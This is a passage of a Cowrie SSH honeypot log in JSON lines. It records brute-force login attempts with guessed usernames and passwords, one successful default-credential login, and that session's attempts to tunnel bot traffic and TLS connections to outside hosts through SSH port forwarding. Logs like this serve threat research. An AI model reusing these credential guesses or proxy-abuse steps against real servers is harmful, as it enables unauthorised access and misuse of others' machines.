16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:30.381955Z","src_ip":"62.133.62.83","session":"6bb5ac813fa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"messiah","message":"login attempt [root/messiah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:30.627138Z","src_ip":"62.133.62.83","session":"6bb5ac813fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:31.711341Z","src_ip":"62.133.62.83","session":"6bb5ac813fa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":51589,"dst_ip":"10.17.0.5","dst_port":22,"session":"1762ee7826eb","protocol":"ssh","message":"New connection: 38.46.222.137:51589 (10.17.0.5:22) [session: 1762ee7826eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:34.304260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:34.650610Z","src_ip":"38.46.222.137","session":"1762ee7826eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:34.654322Z","src_ip":"38.46.222.137","session":"1762ee7826eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":58790,"dst_ip":"159.203.135.109","dst_port":22,"session":"aac63072790b","protocol":"ssh","message":"New connection: 101.79.165.43:58790 (159.203.135.109:22) [session: aac63072790b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:35.958724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:35.963537Z","src_ip":"101.79.165.43","session":"aac63072790b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:36.180785Z","src_ip":"101.79.165.43","session":"aac63072790b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:36.533787Z","src_ip":"38.46.222.137","session":"1762ee7826eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dheeraj","password":"dheeraj","message":"login attempt [dheeraj/dheeraj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:37.086901Z","src_ip":"101.79.165.43","session":"aac63072790b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:38.308830Z","src_ip":"101.79.165.43","session":"aac63072790b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:45.439261Z","session":"1762ee7826eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:45.490137Z","session":"1762ee7826eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:45.495047Z","src_ip":"38.46.222.137","session":"1762ee7826eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.96 Mobile/16G77 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Y095bG05ZHglIW84VT5uaQ%3D%3D1Fp2tcKXVAowVLr3Qr6AVz4uRB7nu%2FYsttWdRs%2F2FajRkpVJAZ%2Femp3ATmzpDvyZ%2FrMz7qSZcQ6SZHXWAym7eeJJi6ix58d0zfubSBSIAiAonbqOeFX6YGt4Oo5Lzh57wvAIGV8%2BmoNYeMS%2F%2Fx%2BIU2OUMp7BDsM87rrKabtdpPYxzV1UKahBLckgEkFEQR6XvGhjH%2FWQtY2nSHJeUClFX2oWd%2FrzyatqIdsOpL%2FdtUEDU1S7WU0ldU0FKH%2Fl0PXqS066QVAFzoiIOJPrsQcMLiq%2BiZy6iJTbDmIBibi8n6BBS%2FK0uABsC5ObAFa877COJ0QaITefUXpi9TQHQ6yo64cIQYLndfz4aKfl3BjFRExUnQses%2Fcb%2F4v6hIljTimfn8FR%2F7LPJDKSKtdlGWoFtj2VszRNiRWmF1bib2%2F2XaNJDxzqCsfxTDLAKXPkCxpZ%2FfYjSqRzPYgCWhcMH7zQONSdG1Cx9dXZ8%2Fs2cNL%2Be5%2B0zRfFGZu0qA5nji5Rq%2B5hvEa43hNoOk0CJYwze3N%2FaVKe3OMvhISx%2FuQ5miiJ%2F2bhJJahNFsCgvS6Gc1zMcHFK8tjNfTEjgGjH5274r4fmwH11KagjbVdq25pFrhoVotmPg2ojBtHvbnAfdNg58HUZ9zuuB23N4AYgmdfK6aDOlOhVQDQwK%2BgrhlLy9kfmn7Y3a8QYKLbFTaq0uV%2BHGv2bhepUoaRNXOyf90%2ByNBTELrHqtIQNXv%2Bd0Alz2ct1pRXYMpyTHJIROPKFFz1fnsDMMM9uqAnVmTQU8wVhoOuZH7cvaIlIXSpOOJQLLI3oWNdXIvOw9OoWHPGNNyS%2BUm3zVyIcFASep4l2%2FUBJodATbq%2BGBjIYczkNrXJVw4wvzFr%2BjZ%2BQ0u4s6td7Se%2FjGzGHwzEpjm9N9WvA%2FSUgHGZJgsxFaISmdDUqSKrAync4QuHox%2FlW9ccDEQ2lVb8y80C4Vq0OdINdBM%2F1uQC1BUMQtZahI6jqswjWT3WiMNqvnQJvzvQsvcTLdbm3bKlJFahgqRG%2FbDYjVEta%2Fed1Eb21cJ7k9wS3fMqnls213n9lL6INsAV%2FuthVWIhPFB9Nldc'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.96 Mobile/16G77 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Y095bG05ZHglIW84VT5uaQ%3D%3D1Fp2tcKXVAowVLr3Qr6AVz4uRB7nu%2FYsttWdRs%2F2FajRkpVJAZ%2Femp3ATmzpDvyZ%2FrMz7qSZcQ6SZHXWAym7eeJJi6ix58d0zfubSBSIAiAonbqOeFX6YGt4Oo5Lzh57wvAIGV8%2BmoNYeMS%2F%2Fx%2BIU2OUMp7BDsM87rrKabtdpPYxzV1UKahBLckgEkFEQR6XvGhjH%2FWQtY2nSHJeUClFX2oWd%2FrzyatqIdsOpL%2FdtUEDU1S7WU0ldU0FKH%2Fl0PXqS066QVAFzoiIOJPrsQcMLiq%2BiZy6iJTbDmIBibi8n6BBS%2FK0uABsC5ObAFa877COJ0QaITefUXpi9TQHQ6yo64cIQYLndfz4aKfl3BjFRExUnQses%2Fcb%2F4v6hIljTimfn8FR%2F7LPJDKSKtdlGWoFtj2VszRNiRWmF1bib2%2F2XaNJDxzqCsfxTDLAKXPkCxpZ%2FfYjSqRzPYgCWhcMH7zQONSdG1Cx9dXZ8%2Fs2cNL%2Be5%2B0zRfFGZu0qA5nji5Rq%2B5hvEa43hNoOk0CJYwze3N%2FaVKe3OMvhISx%2FuQ5miiJ%2F2bhJJahNFsCgvS6Gc1zMcHFK8tjNfTEjgGjH5274r4fmwH11KagjbVdq25pFrhoVotmPg2ojBtHvbnAfdNg58HUZ9zuuB23N4AYgmdfK6aDOlOhVQDQwK%2BgrhlLy9kfmn7Y3a8QYKLbFTaq0uV%2BHGv2bhepUoaRNXOyf90%2ByNBTELrHqtIQNXv%2Bd0Alz2ct1pRXYMpyTHJIROPKFFz1fnsDMMM9uqAnVmTQU8wVhoOuZH7cvaIlIXSpOOJQLLI3oWNdXIvOw9OoWHPGNNyS%2BUm3zVyIcFASep4l2%2FUBJodATbq%2BGBjIYczkNrXJVw4wvzFr%2BjZ%2BQ0u4s6td7Se%2FjGzGHwzEpjm9N9WvA%2FSUgHGZJgsxFaISmdDUqSKrAync4QuHox%2FlW9ccDEQ2lVb8y80C4Vq0OdINdBM%2F1uQC1BUMQtZahI6jqswjWT3WiMNqvnQJvzvQsvcTLdbm3bKlJFahgqRG%2FbDYjVEta%2Fed1Eb21cJ7k9wS3fMqnls213n9lL6INsAV%2FuthVWIhPFB9Nldc'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:45.497803Z","src_ip":"38.46.222.137","session":"1762ee7826eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:45.589105Z","src_ip":"38.46.222.137","session":"1762ee7826eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88\\r\\x05\\xd0co\\xb11Mfr\\xd7hht\\xe9\\xd6\\x8b\\xf8\\xc0p\\xc1\\xbd\\xec\\x13<E\\xffv\\x14_6 \\x16`&\\x88>J\\x18\\x8d\\xf7\\xe3\\x19\\xabN\\x98\\xa5c\\xbd~w?\\xadI\\xb7\\xec-k95\\x0f\\xe8\\xe7=\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe5\\x8b\\x9a\\x9e'\\xb1}\\x16\\xb2\\xa2b\\xe8\\xbd\\xb1Y\\xa2D\\xcd\\x10@\\xcf\\x0b\\xfc\\tl\\x8fI\\x93)\\xa4\\xbaR\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88\\r\\x05\\xd0co\\xb11Mfr\\xd7hht\\xe9\\xd6\\x8b\\xf8\\xc0p\\xc1\\xbd\\xec\\x13<E\\xffv\\x14_6 \\x16`&\\x88>J\\x18\\x8d\\xf7\\xe3\\x19\\xabN\\x98\\xa5c\\xbd~w?\\xadI\\xb7\\xec-k95\\x0f\\xe8\\xe7=\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe5\\x8b\\x9a\\x9e'\\xb1}\\x16\\xb2\\xa2b\\xe8\\xbd\\xb1Y\\xa2D\\xcd\\x10@\\xcf\\x0b\\xfc\\tl\\x8fI\\x93)\\xa4\\xbaR\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:45.591639Z","src_ip":"38.46.222.137","session":"1762ee7826eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:45.770811Z","session":"1762ee7826eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:45.823632Z","src_ip":"38.46.222.137","session":"1762ee7826eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03k\\x07l\\xa8\\x83q\\xc4\\xe4T\\xa8w\\x8c\\xc9cs\\xe1\\xdc\\x1ai\\x0e\\xd8\\xc3l\\x93\\x04\\x07\"&V7C\\xa8 \\x04W\\xb7G\\xad\\xf3\\x0e/\\xb3z\\xdd\\x9f\\xfe\\xc3\\x17/\\xe3\"\\x9f\\xb7\\xee\\x9a\\x9e\\xb47\\x0c!9\\x8a>\\xe3e\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00  \\xfd\\x1a\\xa2\\xa7\\nt\\xddA\\x03\\xd0\\xa3-F\\x8e\\x1f\\x88\\x7f\\x04$\\xda\\x813\\xb8\\xaa\\x17U\\x98f\\x17\\xe7$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03k\\x07l\\xa8\\x83q\\xc4\\xe4T\\xa8w\\x8c\\xc9cs\\xe1\\xdc\\x1ai\\x0e\\xd8\\xc3l\\x93\\x04\\x07\"&V7C\\xa8 \\x04W\\xb7G\\xad\\xf3\\x0e/\\xb3z\\xdd\\x9f\\xfe\\xc3\\x17/\\xe3\"\\x9f\\xb7\\xee\\x9a\\x9e\\xb47\\x0c!9\\x8a>\\xe3e\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x